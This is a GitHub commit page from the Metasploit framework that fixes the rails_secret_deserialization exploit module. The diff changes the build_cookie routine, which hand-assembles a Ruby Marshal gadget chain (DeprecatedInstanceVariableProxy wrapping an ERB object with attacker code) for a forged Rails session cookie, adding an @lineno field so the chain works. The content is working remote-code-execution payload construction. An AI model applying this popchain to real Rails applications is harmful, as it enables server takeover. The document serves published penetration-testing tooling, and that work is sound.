Skip to content

Commit 8b1d29f

Browse files
committed
Land rapid7#7304, fix rails_secret_deserialization popchain
2 parents 27018b4 + ff1c839 commit 8b1d29f

File tree

1 file changed

+4
-2
lines changed

1 file changed

+4
-2
lines changed

modules/exploits/multi/http/rails_secret_deserialization.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -200,18 +200,20 @@ def build_cookie
200200
return "\x04\b" +
201201
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
202202
":\x0E@instanceo" +
203-
":\bERB\x06" +
203+
":\bERB\x07" +
204204
":\t@src"+ Marshal.dump(code)[2..-1] +
205+
":\x0c@lineno"+ "i\x00" +
205206
":\f@method:\vresult:" +
206207
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
207208
end
208209
if datastore['RAILSVERSION'] == 3
209210
return Rex::Text.encode_base64 "\x04\x08" +
210211
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
211212
":\x0E@instance" +
212-
"o"+":\x08ERB"+"\x06" +
213+
"o"+":\x08ERB"+"\x07" +
213214
":\x09@src" +
214215
Marshal.dump(code)[2..-1] +
216+
":\x0c@lineno"+ "i\x00" +
215217
":\x0C@method"+":\x0Bresult"
216218
end
217219
end

0 commit comments

Comments
 (0)